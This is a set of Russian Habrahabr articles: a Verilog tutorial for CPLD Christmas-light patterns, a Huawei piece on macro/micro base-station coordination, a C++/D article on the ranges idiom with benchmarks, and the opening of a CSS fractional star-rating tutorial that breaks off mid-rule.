Очередная серия про ПЛИС и отладочную плату Френки. Предыдущие серии 1 , 2 , 3 . Сделать контроллер елочных гирлянд не просто, а очень просто! Hello World на ПЛИС — это помигать светодиодом. А "С новым годом" на ПЛИС — это помигать несколькими светодиодами. Принцип прост, как и в предыдущих статьях: создаем счетчик, который делит частоту тактового генератора, выбираем биты из слова счетчика, для получения нужной скорости. Несколько бит из этого слова дадут нам определенный шаг отображения (в зависимости от количества выбранных бит 1, 2, 4, 8 и т.д. шагов). В зависимости от номера шага задаем значения для N светодиодов. Для управления реальной гирляндой, можно взять какой-нибудь shield с электромагнитным реле. У меня оказался вот такой , на 8 реле. Схема подключения . Принципиальная схема . Основа проекта module epm7064_test(clk, leds); input wire clk; // вход тактового генератора output wire [7:0] leds; // 8 выходов на светодиоды/реле reg [31:0] cnt; // счетчик для определения интервалов и определения шагов отображения always @(posedge clk) cnt <= cnt + 1'b1; // с каждым тактом увеличиваем счетчик assign leds = ... // тут будет логика управления светодиодами endmodule Обычное чередование При обычном чередовании лампочек, мы на первом шаге зажигаем четные лампочки, а на втором — нечетные. Шагов 2, поэтому из слова счетчика нам потребуется всего один бит. Номера лампочек на каждом шаге зададим словом — константой. ... wire [7:0] variant1 = (cnt[24]) ? 8'b01010101 : 8'b10101010; assign leds = variant1; ... Бегущий огонек Огоньку, чтобы пробежать через 8 лампочек, нужно 8 шагов. Для этого из слова счетчика нужно выбрать 3 бита (2^3 = 8). Стоит заметить, что вывод у нас получается инвертированным, так как для включения реле, мы должны выдать 0. ... wire [7:0] variant2 = (cnt[24:22] == 3'd0) ? 8'b11111110 : (cnt[24:22] == 3'd1) ? 8'b11111101 : (cnt[24:22] == 3'd2) ? 8'b11111011 : (cnt[24:22] == 3'd3) ? 8'b11110111 : (cnt[24:22] == 3'd4) ? 8'b11101111 : (cnt[24:22] == 3'd5) ? 8'b11011111 : (cnt[24:22] == 3'd6) ? 8'b10111111 : (cnt[24:22] == 3'd7) ? 8'b01111111 : 8'b11111111; assign leds = variant2; ... Обычное чередование v2 То же самое, что и в первом варианте, только объединим лампочки парами. ... wire [7:0] variant3 = (cnt[24]) ? 8'b00110011 : 8'b11001100; assign leds = variant3; ... Двойные бегущие огоньки Это вариация одиночного бегущего огонька, но тут потребуется в два раза меньше шагов ... wire [7:0] variant4 = (cnt[24:23] == 2'd0) ? 8'b11001100 : (cnt[24:23] == 2'd1) ? 8'b01100110 : (cnt[24:23] == 2'd2) ? 8'b00110011 : (cnt[24:23] == 2'd3) ? 8'b10011001 : 8'b11111111; assign leds = variant4; ... Случайные огоньки Это самая интересная часть. Для того, чтобы сгенерировать псевдослучайную посделовательность, я использовал LFSR . Примеры кода можно прямо брать по этой ссылке . Я взял на наименьшее количество бит. Алгоритм уже проверенный, но почему-то он никак не хотел работать! Причина оказалась в том, что в регистре не должно быть нулевого значения, а при включении ПЛИС там получается ноль в каждом бите. Но я же применил секцию Initial!!! В общем, за не любовью читать документацию, истина пришла через опыты. На ПЛИС серии EPM7000 не работают секции initial. Та же проблема, кстати, была и на Lattice 4064. Все это дает основания полагать, что в более крупных ПЛИС класса Cyclone, блоки initial, генерируются в какой-то дополнительный hardware кусок. А для того, чтобы сделать инициализацию в EPM я добавил еще один счетчик для генерации сигнала сброса. При поступлении этого сигнала, регистрау генератора псевдослучайной последовательности присваивается изначальное значение. После этого "генератор" заработал. Из соображений экономии ресурсов, я не стал создавать по генератору на каждый бит. Скорее всего, не хватило бы ресурсов. Дело в том, что генератор может выдавать следующее значение на кадом такте, а обновлять лампочки нам нужно не на каждом такте, поэтому один генератор используется для заполнения значений всех лампочек. ... reg [2:0] res_gen_reg; // счетчик генератора сброса wire reset = ~(res_gen_reg==3'b111); //линия сброса, на ней будет 1, пока счетчик не досчитает до 8 always @(posedge clk) begin // увеличиваем счетчик генератора сброса, но до тех пор, пока он де достигнет // максимального значения. после этого, мы оставляем его в том же значении // чтобы он не переполнился и не начал считать заново. бесконечно повтояющийся // сброс нам не нужен res_gen_reg <= (res_gen_reg==3'b111) ? res_gen_reg : res_gen_reg + 1'b1; end reg [7:0] variant5; // значение лампочек придется хранить и менять по очереди, поэтому нужен регистр reg [7:0] d; // регистр для генератора псевдослучайной последовательности always @(posedge clk) begin if (reset) begin d <= 1; // задаем начальное значение end else begin if (cnt[20:0]==21'd0) begin // раз в определенный промежуток времени d <= { d[5:0], d[6] ^ d[5] }; // определяем новое значение генератора // а текущее заносим в один из битов регистра лампочек variant5[cnt[23:21]] <= d[5]; // по очереди все 8 получат свое значение end end end assign leds = variant5; ... Объединяем все вместе У нас еще остались ресурсы ПЛИС, поэтому мы можем взять старшие биты счетчика и использовать их для переключения типа бегущих огоньков. Проще, когда типов будет 2, 4, 8, но у нас их пять. Поэтому, я их буду перебирать 4 из них, а в промежутках между ними вставлю пятый вариант (вернее первый). В общем, тут поле для экспериментов. Свободные ресурсы еще есть, потому что потрачено 58 ячеек из 64х. assign leds = (cnt[29:27] == 3'd1) ? variant2 : (cnt[29:27] == 3'd3) ? variant3 : (cnt[29:27] == 3'd5) ? variant4 : (cnt[29:27] == 3'd7) ? variant5 : variant1; полностью module epm7064_test(clk, leds); input wire clk; output wire [7:0] leds; reg [31:0] cnt; initial cnt <= 32'd0; always @(posedge clk) cnt <= cnt + 1'b1; wire [7:0] variant1 = (cnt[24]) ? 8'b01010101 : 8'b10101010; wire [7:0] variant2 = (cnt[24:22] == 3'd0) ? 8'b11111110 : (cnt[24:22] == 3'd1) ? 8'b11111101 : (cnt[24:22] == 3'd2) ? 8'b11111011 : (cnt[24:22] == 3'd3) ? 8'b11110111 : (cnt[24:22] == 3'd4) ? 8'b11101111 : (cnt[24:22] == 3'd5) ? 8'b11011111 : (cnt[24:22] == 3'd6) ? 8'b10111111 : (cnt[24:22] == 3'd7) ? 8'b01111111 : 8'b11111111; wire [7:0] variant3 = (cnt[24]) ? 8'b00110011 : 8'b11001100; wire [7:0] variant4 = (cnt[24:23] == 2'd0) ? 8'b11001100 : (cnt[24:23] == 2'd1) ? 8'b01100110 : (cnt[24:23] == 2'd2) ? 8'b00110011 : (cnt[24:23] == 2'd3) ? 8'b10011001 : 8'b11111111; reg [2:0] res_gen_reg; wire reset = ~(res_gen_reg==3'b111); always @(posedge clk) begin res_gen_reg <= (res_gen_reg==3'b111) ? res_gen_reg : res_gen_reg + 1'b1; end reg [7:0] variant5; reg [7:0] d; always @(posedge clk) begin if (reset) begin d <= 1; end else begin if (cnt[20:0]==21'd0) begin d <= { d[5:0], d[6] ^ d[5] }; variant5[cnt[23:21]] <= d[5]; end end end assign leds = (cnt[29:27] == 3'd1) ? variant2 : (cnt[29:27] == 3'd3) ? variant3 : (cnt[29:27] == 3'd5) ? variant4 : (cnt[29:27] == 3'd7) ? variant5 : variant1; endmodule Выводы Казалось бы, бессмысленный проект, но позволил узнать про такие нюансы, как неработоспособность initial на этой серии. Раньше я считал, что это в целом особенность производителя (Lattice, Xilinx или Altera). А из комментариев выяснилось, что количество перепрошивки данной ПЛИС всего около 100 раз. Новые знания приходят, значит все это не зря!
https://habrahabr.ru/post/318726/
habrahabr
Согласованная работа макро и микро базовых станций при создании гетерогенных сетей как ключ развития мобильного ШПД
['Станция', 'FDD+FDD', 'LTE TDD']
Развитие мобильного широкополосного доступа выдвигает новые требования к беспроводным сетям. Во-первых, требуется обеспечить стабильное покрытие сетей 3G/4G, особенно в густонаселенных городах с...
Развитие мобильного широкополосного доступа выдвигает новые требования к беспроводным сетям. Во-первых, требуется обеспечить стабильное покрытие сетей 3G/4G, особенно в густонаселенных городах с большим трафиком данных, затем – удовлетворить стремительно растущий спрос на интернет-трафик. Однако на пути решения вышеуказанных задач мы сталкиваемся с проблемами, связанными с работой макро базовых станций. С точки зрения покрытия сети, основная проблема состоит в следующем: ресурсы для размещения макро базовых станций исчерпываются, планируемое и фактическое места расположения станций часто не совпадают, в покрытии сети появляются «белые пятна». Активное городское строительство также приводит к дополнительным препятствиям, что влияет на качество сигнала сети и приводит к появлению мест с очень низким сигналом или с отсутствием сигнала. В отсутствие распределенных сетевых систем в помещениях невозможно обеспечить устойчивый прием сигнала внутри зданий. Эти реальные проблемы говорят о том, что макро базовые станции могут служить лишь основой для обеспечения нормального покрытия сети и операторам очень сложно построить бесшовные сети связи, качество которых могло бы полностью удовлетворить потребности пользователей. Если рассматривать ситуацию с точки зрения емкости сети и удовлетворенности пользователей, в условиях развития мобильного широкополосного доступа строительство сетей связи с применением модели использования исключительно макро базовых станций становится все большей проблемой. Широкое распространение умных терминалов (например, смартфонов) для доступа в интернет привело к стремительному развитию услуг мобильного широкополосного доступа и росту сетевого трафика. Особенно быстрый рост сетевого трафика наблюдается в так называемых Hot Spots – местах концентрации трафика, к которым можно отнести офисы, стадионы, вокзалы, аэропорты, торговые центры. В то же время вместе с развитием услуг мобильного широкополосного доступа растет потребность в высокоскоростной обработке данных. Поэтому ключевой проблемой дальнейшего развития услуг мобильного ШПД становится удовлетворение потребностей в емкости сети и скорости обработки данных в местах концентрации трафика. Но ограниченная емкость сетей в Hot Spots и невозможность бесконечного расширения макро базовых станций влияют на качество обслуживания абонентов и предоставляемых им услуг. В эпоху мобильного широкополосного доступа качество сетей становится для операторов «главной движущей силой». Только тот, кто предоставит пользователям наилучшее качество обслуживания, сможет в условиях жесточайшей конкуренции завоевать большую долю рынка. Таким образом, операторы не могут только строить базовые станции сетей связи, они должны создавать сети, качество которых удовлетворит запросы самых взыскательных пользователей, должны преодолеть все препятствия, которые мешают им предоставлять услуги высочайшего качества. Для преодоления проблем ограниченной емкости и покрытия сетей требуется принять экстренные меры. Наилучшее решение – использовать микро базовые станции и, обеспечив их взаимодействие с базовыми сетями макроуровня, построить высокоскоростные высокоемкие гетерогенные сети. Микро базовые станции обладают маленьким размером и весом, просты в монтаже и не требуют специального места установки. Они обладают преимуществом в плане развертывания и предназначены для устранения «белых пятен» в покрытии сети, способны обеспечить устойчивый прием сигнала в помещении. Таким образом, они помогают решить проблему точек большой концентрации трафика. Во-первых, микро базовые станции можно использовать для обеспечения стабильного покрытия сети макро базовых станций в местах «белых пятен» и для повышения уровня сигнала внутри зданий. Во-вторых, их можно использовать для снижения нагрузок в местах концентрации трафика и увеличения емкости сети, удовлетворяя спрос абонентов на услуги ШПД. Микро базовые станции также применяются для постепенного повышения емкости сети. Если места концентрации трафика появляются только в некоторых зонах, можно добавить небольшое количество микро базовых станций. В этом случае микро базовые станции и макро базовые станции могут быть развернуты на одной частоте, и для устранения помех между ними применяется алгоритм согласования. В ситуациях, когда мест концентрации трафика передачи речи очень много, количество микро базовых станций увеличивается и на них может выполняться динамическое распределение несущих частот, что позволяет достичь еще большей емкости сети. Создание гибридных макро-микросетей не только повышает емкость сетей и удовлетворенность абонентов, но и должно максимально снизить влияние посторонних факторов на ключевые показатели эффективности существующей сети. Для решения этой проблемы применяются такие технологии, как взаимодействие и интеграция макро- и микроэлементов и реализация спецификации SON. Согласование макро и микро базовых станций имеет неоценимое значение при построении гибридной макро-микросети, оно позволяет устранить помехи между ними, увеличить скорость доступа пользователей в интернет и эффективность использования частотного спектра сети. В частности, согласование макро- и микроэлементов подразумевает согласование помех и многоточечное взаимодействие элементов. Самым эффективным способом корректировки помех между макро- и микроэлементами, работающими на одной частоте, является их согласование. В случае, когда микро- и макростанции используют одну несущую частоту, для предотвращения помех необходимо реализовывать временной интервал прохождения трафика между ними или способ оценки коэффициента полезного действия. Когда используется сеть, в которой макро- и микроэлементы используют несколько несущих частот, необходима координация ресурсов несущей частоты для предотвращения интерференции между частотами. В этом случае самая распространенная технология устранения помех между микро- и макроэлементами – eICIC/FeICIC. Многоточечное взаимодействие микро- и макроэлементов обычно характерно для сценариев, когда микро базовая станция, макро базовая станция или несколько микро базовых станций отправляют данные абоненту или получают данные от него, если абонент одновременно находится в зоне их покрытия, с целью минимизировать помехи, повысить скорость обработки пользовательских данных, удовлетворить потребности абонента. В этом случае самый эффективный способ – технология объединения зон покрытия микро и макро базовых станций и технология CoMP. Технология интеграции макро- и микроэлементов, применяя агрегацию каналов микро и макро базовых станций, позволяет операторам эффективно использовать ресурсы радиочастотного спектра, объединять потоки данных макро базовых станций и микро базовых станций, повышать емкость сети. Цель агрегации каналов – высокоскоростное межсоединение с низкой задержкой между станциями одного или разных уровней для удовлетворения спроса пользователей на высокоскоростную передачу данных. Агрегация каналов между микро и макро базовыми станциями обычно применяется в сетях FDD+FDD или FDD+TDD. Агрегация каналов FDD TDD – один из основных способов агрегации каналов, применение которого позволяет, используя технологии LTE FDD и LTE TDD, максимально эффективно распределять радиочастотные ресурсы. Агрегация каналов FDD TDD между макро базовыми станциями и микро базовыми станциями подразумевает гибкую настройку основной несущей в зависимости от уровня сигнала сети. Простота развертывания, эксплуатации, обслуживания и ряд характеристик спецификации SON снижают себестоимость микро базовых станций. К спецификациям SON, характеризующим микро базовые станции, также относится способность к самонастройке в соответствии с сетевым окружением, автоматическая настройка частоты, кода скремблирования, определение соседних станций, мощности, планирование и настройка других параметров беспроводной связи. Например, если на периферии развертываются новые базовые станции, происходит автоматическая оптимизация сети; автонастройка кода скремблирования, мощности и других параметров позволяет достичь ключевых показателей эффективности. С развитием мобильного широкополосного доступа проблемы покрытия и пропускной способности сетей становятся все более и более актуальными, на смену традиционным сетям с макро базовыми станциями должны прийти сети, построенные на согласовании макро и микро базовых станций, а ключевыми задачами при строительстве любой сети станет удовлетворение потребностей клиента и улучшение пользовательского опыта. Согласование макро- и микроэлементов сетей может не только улучшить пользовательский опыт, но и помочь операторам как можно быстрее построить сети мобильного широкополосного доступа высочайшего качества.
https://habrahabr.ru/company/huawei/blog/318718/
habrahabr
Идиома Ranges
['c++', 'c++14', 'D', 'dlang', 'ranges', 'диапазоны', 'итераторы']
Идиома ranges — крайне удачное развитие итераторов. Она позволяет писать высокопроизводительный код, не выделяющий память, где это не надо, находясь на предельно высоком уровне абстракции. Кроме...
Идиома ranges — крайне удачное развитие итераторов. Она позволяет писать высокопроизводительный код, не выделяющий память, где это не надо, находясь на предельно высоком уровне абстракции. Кроме того делает библиотеки гораздо более универсальными, а их интерфейсы гибкими. Под катом краткое описание и практические примеры использования идиомы, тесты производительности, а так же сравнение с популярными реализациями итераторов в C++ и C#. Далее в статье вместо английского «range» будет использоваться устоявшийся перевод «диапазон». Это немного режет слух, и это слово имеет множество других значений, но всё же лучше подходит для русского текста. Немного теории Статья исключительно практическая, но сначала всё же синхронизируем теорию. Во-первых, обязательно требуется понимание ленивых вычислений . Во-вторых, нужна структурная типизация. И если про ленивые вычисления можно почитать на вики и там всё предельно чётко, то с точностью формулировок структурной типизации есть проблемы. На вики написано совсем мало . Здесь под структурной типизацией мы будем понимать утиную типизацию , но с проверкой на этапе компиляции. Так работают шаблоны в C++ и D, интерфейсы в Go. То есть функция принимает аргументы всех типов, таких, что на объекте можно вызвать все используемые функцией методы и операторы. В отличие от более распространённой номинативной типизации, где необходимо указывать список реализуемых интерфейсов, структурная не предъявляет требований к объявлению типа. Достаточно, что с объектом можно сделать то, что используется внутри функции. Однако, проверка совместимости происходит не в рантайме во время динамического вызова, а во время компиляции. Если такая формулировка всё ещё не понятна — не беда, гораздо понятнее будет практическое применение. Вычисление AB группы Постановка задачи Рассмотрим одну простую задачу. Нужно написать функцию, вычисляющую, к какой AB группе относится пользователь. При AB тестировании нам надо разбить всех пользователей на несколько случайных групп. Традиционно это делается так: считаем хэш от id пользователя и id теста и берём остаток от деления на количество групп. Хэш даёт некую рандомизацию, а использование id теста делает разбиение различным для различных тестов. Если отбросить все детали предметной области, то нам нужна функция, формально описываемая формулой: ab_group(groupId, userId, count) = hash(groupId + userId) % count , где groupId и userId – строки, а count – положительное число. В качестве hash() используется jenkins_one_at_a_time_hash. Реализация в лоб static uint32_t get_ab_group(const string& testId, const string& uid, size_t count) { string concat = testId + uid; uint32_t hashVal = string_hash32(concat.c_str(), concat.size()); return hashVal % count; } static uint32_t string_hash32 (const char *key, size_t len) { uint32_t hash, i; for (hash = i = 0; i < len; ++i) { hash += key[i]; hash += (hash << 10); hash ^= (hash >> 6); } hash += (hash << 3); hash ^= (hash >> 11); hash += (hash << 15); return hash; } Реализация хэш-функции была честно откуда-то скопирована, а всё остальное, как видите, требует всего 3 строки кода. Данная реализация решает поставленную задачу: тесты проходят, результаты совпадают с посчитанными ранее. Есть только один недостаток – скорость работы. Выбор C++ обоснован необходимостью использования функции из плагина к infinidb. Нам было нужно считать группу «на лету» для всей базы пользователей. Ожидалось, что функция будет выдавать скорость в десятки миллионов в секунду, ведь хэш-функция работала с такой скоростью. Оптимизации Для того чтобы понять, что здесь тормозит не понадобилось даже запускать профайлер. Ещё во время написания было понятно, что быстро это работать не будет из-за одной строки: string concat = testId + uid; Здесь происходит создание новой строки с выделением памяти под неё и последующим копированием. При этом мы освобождаем память сразу при выходе из функции. То есть на самом деле объект строки в куче не нужен. Можно конечно выделить память на стеке, но на общее решение этот подход не претендует. Программист, не знакомый с идиомой диапазонов, предложил вполне классическое решение. Так как от самой строки зависит только первая часть функции вычисления хэша, то её можно вынести в отдельную функцию, которая вернёт промежуточный результат. Её можно вызывать несколько раз для разных строк, передавая промежуточный результат от вызова к вызову. Ну и в конце позвать некий финализатор, который даст окончательный хэш. static uint32_t string_hash32_start(uint32_t hash, const char *key, size_t len) { for(uint32_t i = 0; i < len; ++i) { hash += key[i]; hash += (hash << 10); hash ^= (hash >> 6); } return hash; } static uint32_t string_hash32_end(uint32_t hash) { hash += (hash << 3); hash ^= (hash >> 11); hash += (hash << 15); return hash; } static uint32_t get_ab_group(const string& testId, const string& uid, size_t count) { uint32_t hash = 0; hash = string_hash32_start(hash, test_id); hash = string_hash32_start(hash, uid); hash = string_hash32_end(hash); return hashVal % count; } Подход вполне понятный, много, где так делается. Вот только не очень хорошо читается, да и изначальную функцию разобрать пришлось. А ведь не всегда можно так сделать. Потребуй алгоритм нескольких проходов по всей строке или проход в обратном направлении, и такой подход уже был бы не реализуем. Ranges Для того, чтобы сделать функцию действительно обобщённой нам понадобится минимум изменений. Алгоритм мы не трогаем вовсе, просто меняем тип аргумента с сишной строки на шаблон: template <typename Range> static uint32_t string_hash32_v3 (Range r) { uint32_t hash = 0; for (const char c : r) { hash += c; hash += (hash << 10); hash ^= (hash >> 6); } hash += (hash << 3); hash ^= (hash >> 11); hash += (hash << 15); return hash; } То есть функция стала принимать любой объект, foreach по которому даёт char. На эту роль подходит любой контейнер из std, с аргументом char. Сишная zero-terminated строка так же несложно оборачивается в такой контейнер. Но, что самое главное, теперь можно передать ленивый генератор. Возьмём функцию concat из библиотеки ranges-v3. Эта функция возвращает объект, который поддерживает интерфейс итерирования по нему и отдаёт поэлементно содержимое всех переданных ему коллекций. Сначала проходит по первой, потом по второй и тд. То есть выглядит как строка a + b, только не выделяет память, а просто ссылается на оригинальные строки. А раз крякает как утка, то и использовать будем, как утку: static uint32_t get_ab_group_ranges_v3(const string& testId, const string& uid, size_t count) { auto concat = concat(testId, uid); uint32_t hashVal = string_hash32_v3(concat); return hashVal % count; } Выглядит так же, как самая первая неоптимизированная версия, просто вместо оператора + позвали функцию concat из библиотеки ranges-v3. А вот работает ощутимо быстрее. Время для 20 миллионов хешей, мс gcc 4.8.5 gcc 5.3.0 gcc 6.2.0 plus 1609 1658 1655 v3 987 855 630 plain 631 640 640 Пояснение к таблице. plus — самая первая реализация, использующая конкатенацию строк. v3 — реализация на диапазноах. plain — первая оптимизированная версия, с разбиением хэширования на start и end. Исходники К сожалению я сейчас в отпуске и не имею доступа к исходникам этого бенчмарка. По возможности они будут выложены на github. Пока могу предложить только самостоятельные эксперименты, благо что ranges-v3 — header-only и не составляет труда ею воспользоваться. Мы можем наблюдать интересное явление: с GCC6 обобщённая версия с диапазонами работает так же быстро, как оптимизированная узкоспециализированная. Конечно тут хорошо поработал оптимизатор. Отлично видно развитие оптимизаций от gcc4 до gcc5 и 6. Все итераторы и вызовы методов на них были заинлайнены. Лишние условия в цикле переупорядочены и упрощены. В итоге на некоторых компиляторах дизассемблер обеих версий показывает одно и то же. А на GCC6 range-версия даже немного быстрее. Этот феномен не изучал, но в корректности работы уверен, поэтому могу только порадоваться развитию технологий и посоветовать использовать последние версии компиляторов. Иногда оптимизатор и вовсе творит чудеса. Так, например, в библиотеке обработки изображений он может объединять последовательные преобразования в одно, более быстрое: 2 поворота можно собрать в один, любые афинные преобразования можно собрать в одно. Перевод оригинальной статьи был на Хабре . Из интересных примеров: 4 поворота на 90 градусов, компилятор вообще выкинул из кода. Поиск подстрок Как было показано в примерах и бенчмарках, диапазоны быстрые. Однако основное их преимущество в том, что они удобные и быстрые одновременно. Ну, или как минимум показывают отличное соотношение удобства написания к скорости работы. Рассмотрим следующую задачу: найти все вхождения чисел в заданной строке. Далее для повышения читаемости используется D, а не C++. Для такой функции можно предложить два классических интерфейса. Удобный: double[] allNumbersArr(string input); И быстрый: Nullable!double findNumber(string input, ref size_t begin); С удобным всё понятно: на вход строка, на выход массив чисел. Недостаток – необходимо создавать массив под результат. Причём создавать только в куче. С быстрым сложнее. С первого взгляда не очень понятно, как этим пользоваться. Он возвращает одно значение и то не всегда, иногда может вернуть null. Предполагается, что функция будет вызываться в цикле для обхода всех значений и будет получать метку, откуда начинать поиск. string test = "123 gfd 44"; size_t begin = 0; Nullable!double iter; while (iter = findNumber(test, begin), !iter.isNull) { double val = iter.get; writeln(val); } Не самый интуитивно понятный и читаемый способ. Зато не требует массивов и быстрее работает. Правда каждый раз, используя функцию придётся писать этот не самый тривиальный while, не забывать, что нужна переменная begin и как пользоваться Nullable. В чистом C, кстати пришлось бы ещё добавить указатель на begin, а в виду отсутствия Nullable добавить ещё один флажок, что ничего не нашли. Ну или сравнивать полученный begin с длинной строки. В общем быстро, но неудобно. Диапазоны предлагают объединить удобство со скоростью. Реализация будет выглядеть так: auto allNumbers(string input) { alias re = ctRegex!`\d+(\.\d+)?`; auto matches = matchAll(input, re); return matches.map!(a => a.hit.to!double); } Функция возвращает Воландеморт тип (тип, который нельзя называть, у него нет имени за пределами реализации map). Функция matchAll вернёт ленивый range, который начнёт искать при первом обращении. map тоже ленивая, поэтому не будет трогать matches, пока не попросят. То есть в момент вызова функции не произойдёт поиск всех вхождений и не создастся массив под них. Но вот выглядит результат как все вхождения чисел. Примеры использования: auto toWrite = allNumbers("124 ads 85 3.14 43"); foreach (d; toWrite) { writeln(d); } Здесь writeln пройдёт по всем вхождениям и напечатает на экран. auto toSum = allNumbers("1 2 3 4 5"); writeln("sum is ", sum(toSum)); sum – алгоритм стандартной библиотеки. Принимает диапазон любых чисел и, очевидно, суммирует. Опять же придётся пройти по всем, но никаких массивов, в один момент времени существет один double. auto toCheck = allNumbers("1qwerty"); writeln("there are some ", !toCheck.empty); А тут мы вообще только проверили, а есть ли числа в строке. При этом произойдёт минимум необходимого. Если числа есть, то поиск остановится на первом и empty вернёт false. Полный проход по строке произойдёт только, если чисел нет. Я думаю многие на талкивались на проблемы с производительностью из-за того, что для проверки наличия создавались массивы. Как самый эпичный случай: bool exists = sql.query(“SELECT * FROM table”).count() > 0; Подняли всю таблицу в память только для того, чтобы проверить не пустая ли она. Такой код бывает. И его уже не получается «развидеть». От sql запроса диапазоны понятное дело не спасут (тут уже вообще ничего не поможет), но в случае строк или файлов лишней работы не будет. Важно отметить, что функции стандартной библиотеки D, а так же ranges-v3 для C++, как и любые хорошие функции для работы с диапазонами, не указывают конкретных типов. Они обобщены до предела, и конкатенировать можно и обычные массивы, списки и хэши, а что самое важное – другие диапазоны. Ничего не мешает передать аргументом результат работы алгоритма, будь то фильтрация, отображение или другую конкатенацию. В этом смысле Range – развитие итератора. На них точно так же строятся обобщённые алгоритмы как stl и есть надежда, что stl2 возьмёт за основу диапазоны. Пока что мы рассмотрели всего лишь два алгоритма: поиск и объединение. На самом деле ленивых диапазонов очень много. Для D можно посмотреть на список здесь и здесь . Для С++ лучшим источником является библиотека Ranges-V3 . Короткий обзор наиболее полезных алгоритмов iota – генератор последовательности натуральных чисел. От 0 до заданного. Есть версии для задания шага и начального значений. chunks – разбить входной диапазон на несколько других с фиксированной длиной. Позволяет на заботиться о не кратной длине, пустых входных данных и тд. Очень удобен для работы с API, ограничивающими размерность входных данных (REST Facebook с ограничениями на все массовые запросы) auto numbers = iota(35); foreach (chunk; numbers.chunks(10)) { writeln(chunk); } Выводит [0, 1, 2, 3, 4, 5, 6, 7, 8, 9] [10, 11, 12, 13, 14, 15, 16, 17, 18, 19] [20, 21, 22, 23, 24, 25, 26, 27, 28, 29] [30, 31, 32, 33, 34] enumerate – для входного диапазона создаёт диапазон из элемента и его номера в исходном zip – собирает несколько диапазонов в диапазон, где в первом элементе кортеж из первых элементов исходных, во втором из вторых и тд. Очень удобен для одновременного итерирования по коллекциям одинаковой длины. repeat – повторять до бесконечности заданное значение take – взять заданное количество элементов auto infPi = repeat(3.14); writeln(infPi.take(10)); [3.14, 3.14, 3.14, 3.14, 3.14, 3.14, 3.14, 3.14, 3.14, 3.14] Преимущества структурной типизации Этот параграф скорее относится к структурной типизации вообще, нежели к диапазонам, но без них всё равно не обошлось. Классическая «проблема» ООП: нельзя передать массив потомков в функцию, где ожидается массив предков. Нельзя не потому, что авторы языков такие плохие, а потому что это приведёт к логическим ошибкам. Допустим было бы можно. Массивы обычно передаются по ссылке. Теперь передадим в функцию, ожидающую массив животных, массив кошек. А эта функция возьмёт, да добавит в массив собаку! И на выходе мы имеем массив кошек, в котором есть собака. Const мог бы решить проблему, но только этот частный случай, да и запрещать вставлять кошек не хочется. Зато итерироваться и вызывать методы объектов можно всегда. С диапазонами на C++ это бы выглядело так: class Animal { virtual void walk() {} }; class Cat : public Animal { void walk() override {} }; template <typename Range> void walkThemAll(Range animals) { for (auto animal : animals) { animal->walk(); } } void some() { walkThemAll(new Cat[100]); } Благодаря шаблону Range типизирован именно кошками, и собаку туда уже не затолкать. Чем это отличается от итераторов? Если говорить абстрактно, то это и есть итераторы. Но это теоретически, а от существующих реализаций отличий много. От С++ итераторов диапазоны отличаются целостностью. Они сами знают, где заканчиваются и весьма затруднительно получить невалидный диапазон. Итератор в С++ это скорее указатель, а диапазон — ссылка на std::vector. В C# итераторы более развитые и у них нет проблемы целостности. Но есть несколько других принципиальных отличий. Во-первых, итераторы в шарпе это только одна разновидность диапазонов — InputRange. Это итерируемая в одну сторону сущность без возможности вернуться назад или хотя бы скопировать текущее состояние. Кроме них существуют ForwardRange (с сохранением состояния), BidirectionalRange (возможность итерироватьсяв обратную сторону), RandomAccessRange(произвольный доступ через оператор []), OutputRange(запись без чтения). Всё это даже теоретически не покрыть одним yield return. Во-вторых, производительность. Виртуальной машине придётся сотворить чудо чтобы произвести оптимизации доступные в C++. А всё из-за разрыва потока выполнения и переключения между контекстами. Да и дженерики в отличие от шаблонов код не генерируют и не могут производить оптимизации частных случаев. А как показывает пример С++, эти оптимизации в разы ускоряют код. Мои предварительные бенчмарки, в которых я не уверен, показывают, что попытка самостоятельно реализовать concat проваливается из-за скорости. Обычная конкатенация просто быстрее. Скорей всего jit хорошо справляется с работой над цельной строкой, а GC с переиспользованием памяти. А вот миллионы лишних переключений и вызовов функций выкинуть некому. В-третьих, готовые алгоритмы. На D или C++ уже сейчас есть масса ленивых алгоритмов. Шарп может похвастаться только генераторами. Наличие соглашений позволяет писать код вида: array.sort.chunks(10).map(a=>sum(a)).enumerate; Цепочку вызовов можно продолжать бесконечно. В С++ нет такого вызова через точку, зато есть перегруженный для диапазонов оператор |. Поэтому делать можно то же самое, просто заменив. на |. А в go, perl, #my_favorite_lang тоже структурная типизация! Да, и это позволяет написать что-то очень похожее. Не принято, но сделать можно. Быстро это работать не будет потому же, что и в C#. Интерфейсы go, как и дженерики C# используют косвенные вызовы вместо кодогенерации. То есть каждая итерация потребует минимум 2 виртуальных вызова. За время виртуального вызова можно сделать несколько итераций с инлайном, поэтому разница с С++ будет в разы. На этом всё, спасибо, что дочитали до сюда. Материал был подготовлен для презентации в компании CrazyPanda и скопирован сюда as is. Распространение и копирование автором не воспрещается, но при условии соблюдении правил habrahabr . Если хабрасообщество заинтересуется вопросом, то возможно последует продолжение непосредственно для хабра. Ссылки по теме: » ericniebler.com/2013/11/07/input-iterators-vs-input-ranges » www.youtube.com/watch?v=mFUXNMfaciE » ericniebler.com/2015/02/03/iterators-plus-plus-part-1 » github.com/ericniebler/range-v3 » dlang.org/phobos/std_range.html » dlang.org/phobos/std_algorithm.html
https://habrahabr.ru/post/318266/
habrahabr
Как мы звезды рейтинга дробили
['CSS', 'HTML', 'WebFonts', 'CSS tricks', 'верстка']
Вместо предисловия Привет всем хабражителям! Взбрело мне как-то, холодным зимним вечером, внести на сайт вместо целых звезд рейтинга — их частичную заливку для дробных чисел (4.5, 3.85 и...
Вместо предисловия Привет всем хабражителям! Взбрело мне как-то, холодным зимним вечером, внести на сайт вместо целых звезд рейтинга — их частичную заливку для дробных чисел (4.5, 3.85 и тд.). Так ведь и глазу милее и информативнее — какое заведение лучше, а какое — хуже. Вот и сели мы с командой думать и гадать. Как мы путь свой искали Так как у нас, в основном, топовые заведения и рейтинги 3+, то целые звезды сильно размывают восприятие. Но тут возникли нюансы. Самая распространенная практика — использовать наложение изображения одно поверх другого. С самого-самого начала мы думали сделать все с помощью изображения-маски, но, увы, дизайн не подразумевал, что звездочки могут быть рядом, а контролировать ширину блока заливки и размер звезды не очень удобно. Тут у Кинопоиска все 10 звезд — одна картинка, где они еще и приклеены друг к другу. Так им очень легко закрасить оранжевым на столько, на сколько душа желает. <div class='starbar'> <div class='outer'> <div class='starbar_w'></div> </div> </div> .starbar .outer { background: url(/images/starz.gif) no-repeat; width: 219px; height: 30px; position: absolute; } .starbar_w { display: block; width: 167.09px; background: 